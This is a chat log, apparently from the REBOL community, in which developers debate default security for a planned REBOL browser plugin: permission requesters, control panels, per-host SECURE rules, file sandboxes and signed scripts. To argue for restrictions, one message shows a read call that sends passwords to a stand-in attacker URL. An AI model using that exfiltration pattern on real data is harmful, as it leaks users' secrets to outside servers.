World: r3wp

The plugin *needs* to be highly restricted by default. Please scroll 
up to the top of this group where BrianH and others made some fine 
points about security.

but system dialogs are half-way solutions - 1) they can't be translated 
2) they are ugly and do not copy design principles of your apps .... 
stating that - is there a secure way of how to overcome this? Could 
you provide your own UI and supply it for the internal security system? 
Probably not, as I could ask user completly different question :-(

1) They can be translated.
2) They are a necessary evil.

I want ability to integrate into my app logic, not nasty looking 
UFO stuff ...

I like that ugly and different. Tells me i am not working inside 
the app. Because inside the app, if it asks me "Do you like [x] please?" 
i click yes, whatever [x] is. Its in a sandbox, no?

haven't you meet yourself with requester, which asked for permission 
for file e.g., where path was cut-down? That is the same like no 
requester at all ...

If I can't control the plugin, Petr, I am not going to install it. 
I'm not going to develop for it, because there will be no reason 
why anyone will trust it. Well, you will be able to do that. Perhaps 
in a separate version of the plugin which might come later.

Yes, that is a bug.

I am not saying "windows message box".

Heck, what kind of argument is that, Petr ?

Because current security dialog looks ugly, let's not have security 
in the upcoming plugin ?
  That doesn't make any sense.

i am saying 
  call/input/output "rebol %trusted-requester.r" 

Where the call is hardwired like 'browse and can not be influenced 
by reblet.

Let's stop this immature "oh we are going to lose abilities" paranoid 
attitude.

bad UI argument .... dunno how others do it, but I prefer to set 
my settings in control panel, not ending up with myriads of different 
requesters asking for myriads of permissions to which reaction of 
users I know apriori - they will hate this, possibly click yes or 
no no matter what and wonder why things eventually don't work ..... 
all I am asking for is security presented in sensible way, that is 
all ...

I want to get over this stage really fast because it is starting 
to annoy me. I want to come to this group and read fresh material, 
not still stuck on these issues.

Fine - control panel. I like it too. That doesn't explain your attitudes 
above to various suggestions.

Let's get over it now, please.

And also, such things should typically not be needed by apps. My 
usual need is for a link back to my server, and there are no restrictions.

Security is what kills or make a plugin IMHO, at least for small 
quality companies.

Regarding UI, i would always pop up the conrtol-panel, not a yes/no-requester. 
Highlight the area which is currently interesting.

something like the page-info in browsers, + checkboxes.

Volker - sounds good idea. The thing is - that control panel - is 
that rebol script/UI or some native stuff? And also - Java has icon 
in control panel, how such aproach is solved eg. on OS-X, Linux - 
do they share similar concept of having control panel facility in 
OS?

reading back my replies - my apology to Anton and others - I was 
creating way to much unnecessary noise, sorry...

Why not go with my suggestion from before (scrolled off the history, 
I'm afraid)? Don't remove network, file access, etc. by default - 
instead, restrict it with secure and bring up a security requestor 
when the applet tries it? It should be up to the user to allow these 
plugins access anyways.

so far - I like Volker's suggestion most - extending secure:


That mini-firewall is in my secure-proposal:  secure [net ask tcp://rebol.com 
allow].

Although securing ports would be nice too, secure [net ask tcp://rebol.com 
80 8080 - 9090 allow].


I would just dare to add - it could be kept in all rebol versions, 
not just plug-in. Also - maybe (not sure), we could have option to 
"silence" (no-pop-up) the security - e.g. not bringing up pop-up, 
but e.g. secure/console secure/log or something like that, still 
of course to keep security tight ...

I'm pretty adamant about not allowing any file access by default 
without permission though. You don't want anonymous scripts to be 
able to store any data at all on your hard drive, outside of the 
browser's built-in storage (cache, cookies).

Brian - not even in plug-in sandbox?

Without that restriction , I won't be able to install the plugin.

maybe by default it could be limited to consume e.g. 1MB? so that 
your app could write some cfg files, without intrusion by pop-up 
dialog? Would it be usefull to you?

I'm OK with a sandbox, as long as it is a limited one in RAM that 
gets deleted on browser shutdown.

The user should be asked for permission to store any files on your 
drive at all, at least for anonymous scripts.

Signed scripts may be given a sandbox though.

My basic criteria for default restrictions is: What would you let 
your worst enemy do with your computer?

OK - one thing is clear now - "What would you let your worst enemy 
do with your computer?" should be a saying for Rebol plug-in .... 
now just how to represent it ...

Hmm, good to read Flash security doc Oldes posted reference to ...

That's why I suggested cryptographically signed scripts, that could 
be tracked to an SDK user by RT if necessary. That way, with a header 
like encap uses, you could lower the security for signed scripts. 
That way if your script does something bad, the author could be tracked 
down and sued (shot, whatever ;-)

:-)

Here's a suggestion for a SECURE enhancement: Add a new category, 
sandbox, that would refer to the sandbox directory, whereever that 
is. You could set ask permission for anonymous scripts, allow for 
signed (if specified in the header).

The main thing I would be worried about with a sandbox for anonymous 
scripts would be its potential for involving the user unwittingly 
in illegal or immoral activities that they may not approve of. I 
would rather not list such activities in a web-public group, but 
I can think of dozens of nasty possibilities right off the top of 
my head, and that's just from looing back at activities commonly 
performed by banner ads on many sites.

looing --> looking

Hey, Flash has some nice security requestors on page 3 of that article 
that would be worth emulating.

Those policy files look like an interesting idea that could probably 
be adapted to REBOL/Services.

Thanks for posting the Flash security doc....

I'm going to take these security issues one at a time.

<<disallowing send? why? can't you just send email by java script?>>

Because it is an easy way for some bad software to leak confidential/private 
information from my machine -- gather all the stuff it can and then 
send it in an email.

Similarly, being able to *read* URLs is another way info can be leaked.....The 
server at the other end records the URL parameters, eg

    read http://www.bad-guys-website.com?passwords-dicovered=abcdef/secret123
security as weak as javascript's
 is not a good selling point

I will be using the rebol plugin probably in two ways: 1. making 
real applications as part of a subscription service. 2. making real 
applications that are paid for with ads, generally text and flash 
based ads. And when I say real applications, I basically mean doing 
things you cannot easily do in java or javascript. These ARE things 
that require trusted security, such as sending raw emails, loading 
and saving files, doing virus scans, and all the freaky stuff you 
cannot normally do using AJAX.  Quite simply the situation is that 
if you could do it with AJAX, there is no reason to use rebol--from 
the laymans point of view.

I think the securty essentially needs clear and wide throttle controls.

Yup. Let me give keys to my friends and the others still able to 
knock onthe door.

Ryan, that sounds like just the kind of thing that signed scripts 
should be able to do.

Hi guys. I was going to take the security issues one at a time, but 
Carl and I are talking about getting some kind of file location where 
I can upload a design doc for you to take a look at.